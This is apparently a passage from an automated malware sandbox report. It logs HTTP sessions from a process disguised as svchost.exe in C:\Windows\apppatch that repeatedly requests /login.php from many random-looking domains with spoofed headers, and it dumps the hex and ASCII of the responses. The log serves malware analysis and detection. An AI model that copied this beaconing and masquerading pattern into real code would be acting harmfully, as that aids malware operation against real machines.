                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1126&sent=4&recv=6&lost=0&retrans=0&sent_bytes=974&recv_bytes=486&delivery_rate=2227692&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.762502909 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.107697010 CET806INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:25 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fMUfFdv4hfytnfNVJdamOrg3SG12k13SIwUlphZLZ0RN%2FIe8pAjoYyuAdG4oAGk%2F3iPv8snfvUCj8L6cgLzHAZkOmjAnBZdwDnJD2bkXu6G%2BUvtBGI93k%2Fb7OJqFyQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe9aa1aa40fa7-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1296&sent=7&recv=9&lost=0&retrans=0&sent_bytes=1950&recv_bytes=729&delivery_rate=2227692&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.107980013 CET173INData Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                          Nov 11, 2024 18:13:26.728569984 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.063139915 CET808INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:27 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zump4GPQlEgVpzChwoTSzGf2uvhEmdH54WAqnTtqJNDdWrnHQ%2BVNNkhP%2BJDvPC9vLglTckJzfz%2Fn%2FZquuNef1JLOTYRuTtzkVxwg3mxzy7BTrbW%2BcW3tBNbkNDrTcQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe9b659fe0fa7-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1245&sent=11&recv=13&lost=0&retrans=0&sent_bytes=2929&recv_bytes=972&delivery_rate=2985567&cwnd=4&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Nov 11, 2024 18:13:27.067162991 CET173INData Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          7192.168.2.64971344.221.84.105804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.999512911 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qetyfuv.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.419625998 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=fa102a5d00349f2116233e3008bec66a|66.23.206.109|1731345181|1731345181|0|1|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          8192.168.2.658860199.59.243.227804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.126977921 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vojyqem.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.552536964 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:00 GMT
                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                          content-length: 1094
                                                                                                                                                                                                          x-request-id: ff4a393e-1a61-4543-92b2-8dd8ca6534da
                                                                                                                                                                                                          cache-control: no-store, max-age=0
                                                                                                                                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==
                                                                                                                                                                                                          set-cookie: parking_session=ff4a393e-1a61-4543-92b2-8dd8ca6534da; expires=Mon, 11 Nov 2024 17:28:01 GMT; path=/
                                                                                                                                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pr
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.552553892 CET528INData Raw: 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65
                                                                                                                                                                                                          Data Ascii: econnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZmY0YTM5M2UtMWE2MS00NTQzLTkyYjItOGRkOGNhNjUzNGRhIiwicGFnZV90aW1lIjoxNzMxMzQ1MTgxLCJwYWdlX3VybCI6I


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          9192.168.2.65886199.83.170.3804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.179976940 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.608189106 CET166INHTTP/1.1 308 Permanent Redirect
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Location: https://puzylyp.com/login.php
                                                                                                                                                                                                          Server: Caddy
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:01 GMT
                                                                                                                                                                                                          Content-Length: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          10192.168.2.6588623.94.10.34804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.250102997 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lymyxid.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.668836117 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=a6a1e25fd407ed990568203a5694c412|66.23.206.109|1731345181|1731345181|0|1|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          11192.168.2.658863199.191.50.83804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.253968000 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: galyqaz.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:03.832278013 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:01 GMT
                                                                                                                                                                                                          Server: Apache
                                                                                                                                                                                                          Referrer-Policy: no-referrer-when-downgrade
                                                                                                                                                                                                          Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                          Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com")
                                                                                                                                                                                                          Set-Cookie: vsid=903vr478890781963739088; expires=Sat, 10-Nov-2029 17:13:01 GMT; Max-Age=157680000; path=/; domain=galyqaz.com; HttpOnly
                                                                                                                                                                                                          X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_NHOnw0G73BscnvIcyf8HaXYxUwB52N5y4R2rV77ldfg6F/P3HTMIgnr4aIPWR/fyPGslgb3huQzNdSH/7sK+hw==
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Data Raw: 61 39 36 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69
                                                                                                                                                                                                          Data Ascii: a960<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <scri
                                                                                                                                                                                                          Nov 11, 2024 18:13:03.832324982 CET1236INData Raw: 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 21 22 67 64 70 72 41 70 70 6c 69
                                                                                                                                                                                                          Data Ascii: pt>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)||window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21
                                                                                                                                                                                                          Nov 11, 2024 18:13:03.832339048 CET1236INData Raw: 22 29 7b 6a 3d 74 72 75 65 7d 69 66 28 6a 26 26 74 79 70 65 6f 66 28 63 6d 70 5f 67 65 74 6c 61 6e 67 2e 75 73 65 64 6c 61 6e 67 29 3d 3d 22 73 74 72 69 6e 67 22 26 26 63 6d 70 5f 67 65 74 6c 61 6e 67 2e 75 73 65 64 6c 61 6e 67 21 3d 3d 22 22 29
                                                                                                                                                                                                          Data Ascii: "){j=true}if(j&&typeof(cmp_getlang.usedlang)=="string"&&cmp_getlang.usedlang!==""){return cmp_getlang.usedlang}var g=window.cmp_getsupportedLangs();var c=[];var f=location.hash;var e=location.search;var a="languages" in navigator?navigator.lan
                                                                                                                                                                                                          Nov 11, 2024 18:13:03.832397938 CET1236INData Raw: 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 6e 67 75 61 67 65 73 2e 6c 65 6e 67 74 68 3b 71 2b 2b 29 7b 69 66 28 68 2e 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 6e 67 75 61 67 65 73 5b 71 5d 2e 6c 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3d 3d 6f 2e 74 6f 55
                                                                                                                                                                                                          Data Ascii: cmp_customlanguages.length;q++){if(h.cmp_customlanguages[q].l.toUpperCase()==o.toUpperCase()){o="en";break}}}b="_"+o}function x(i,e){var w="";i+="=";var s=i.length;var d=location;if(d.hash.indexOf(i)!=-1){w=d.hash.substr(d.hash.indexOf(i)+s,99
                                                                                                                                                                                                          Nov 11, 2024 18:13:03.832411051 CET1236INData Raw: 6e 67 74 68 3e 30 3f 22 26 5f 5f 63 6d 70 66 63 63 3d 31 22 3a 22 22 29 2b 22 26 6c 3d 22 2b 6f 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 22 26 6f 3d 22 2b 28 6e 65 77 20 44 61 74 65 28 29 29 2e 67 65 74 54 69 6d 65 28 29 3b 6a 2e 74 79 70 65
                                                                                                                                                                                                          Data Ascii: ngth>0?"&__cmpfcc=1":"")+"&l="+o.toLowerCase()+"&o="+(new Date()).getTime();j.type="text/javascript";j.async=true;if(u.currentScript&&u.currentScript.parentElement){u.currentScript.parentElement.appendChild(j)}else{if(u.body){u.body.appendChil
                                                                                                                                                                                                          Nov 11, 2024 18:13:03.832427025 CET1236INData Raw: 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3b 69 66 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64
                                                                                                                                                                                                          Data Ascii: cument.createElement("iframe");a.style.cssText="display:none";if("cmp_cdn" in window&&"cmp_ultrablocking" in window&&window.cmp_ultrablocking>0){a.src="//"+window.cmp_cdn+"/delivery/empty.html"}a.name=b;a.setAttribute("title","Intentionally hi
                                                                                                                                                                                                          Nov 11, 2024 18:13:03.832439899 CET800INData Raw: 6e 74 4c 69 73 74 65 6e 65 72 22 7c 7c 61 5b 30 5d 3d 3d 3d 22 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 29 7b 5f 5f 63 6d 70 2e 61 2e 70 75 73 68 28 5b 5d 2e 73 6c 69 63 65 2e 61 70 70 6c 79 28 61 29 29 7d 65 6c 73 65 7b 69 66
                                                                                                                                                                                                          Data Ascii: ntListener"||a[0]==="removeEventListener"){__cmp.a.push([].slice.apply(a))}else{if(a.length==4&&a[3]===false){a[2]({},false)}else{__cmp.a.push([].slice.apply(a))}}}}}}};window.cmp_gpp_ping=function(){return{gppVersion:"1.0",cmpStatus:"stub",cm
                                                                                                                                                                                                          Nov 11, 2024 18:13:03.832638025 CET1236INData Raw: 65 6c 73 65 7b 69 66 28 67 3d 3d 3d 22 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 29 7b 76 61 72 20 68 3d 66 61 6c 73 65 3b 5f 5f 67 70 70 2e 65 3d 5f 5f 67 70 70 2e 65 7c 7c 5b 5d 3b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 5f
                                                                                                                                                                                                          Data Ascii: else{if(g==="removeEventListener"){var h=false;__gpp.e=__gpp.e||[];for(var d=0;d<__gpp.e.length;d++){if(__gpp.e[d].id==e){__gpp.e[d].splice(d,1);h=true;break}}return{eventName:"listenerRemoved",listenerId:e,data:h,pingData:window.cmp_gpp_ping(
                                                                                                                                                                                                          Nov 11, 2024 18:13:03.832659006 CET1236INData Raw: 63 66 61 70 69 52 65 74 75 72 6e 3a 7b 72 65 74 75 72 6e 56 61 6c 75 65 3a 68 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e
                                                                                                                                                                                                          Data Ascii: cfapiReturn:{returnValue:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")},b.parameter)}if(typeof(c)==="object"&&c!==null&&"__gppCall" in c){var b=c.__gppCall;window.__gpp(b.command,function(h,g){var e={__gppReturn
                                                                                                                                                                                                          Nov 11, 2024 18:13:03.832762957 CET424INData Raw: 29 7d 69 66 28 21 28 22 63 6d 70 5f 64 69 73 61 62 6c 65 67 70 70 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 21 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 69 73 61 62 6c 65 67 70 70 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 6d 65 28 22 5f
                                                                                                                                                                                                          Data Ascii: )}if(!("cmp_disablegpp" in window)||!window.cmp_disablegpp){window.cmp_addFrame("__gppLocator")}window.cmp_setStub("__cmp");if(!("cmp_disabletcf" in window)||!window.cmp_disabletcf){window.cmp_setStub("__tcfapi")}if(!("cmp_disableusp" in windo
                                                                                                                                                                                                          Nov 11, 2024 18:13:03.837711096 CET1236INData Raw: 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 67 61 6c 79 71 61 7a 2e 63 6f 6d 2f 70 78
                                                                                                                                                                                                          Data Ascii: script">var abp;</script><script type="text/javascript" src="http://galyqaz.com/px.js?ch=1"></script><script type="text/javascript" src="http://galyqaz.com/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          12192.168.2.65886485.17.31.82804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.314892054 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyfus.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          13192.168.2.65886523.253.46.64804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.359357119 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gahyqah.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.813885927 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Server: Microsoft-IIS/7.5
                                                                                                                                                                                                          X-Powered-By: ASP.NET
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:12:56 GMT
                                                                                                                                                                                                          Content-Length: 1245
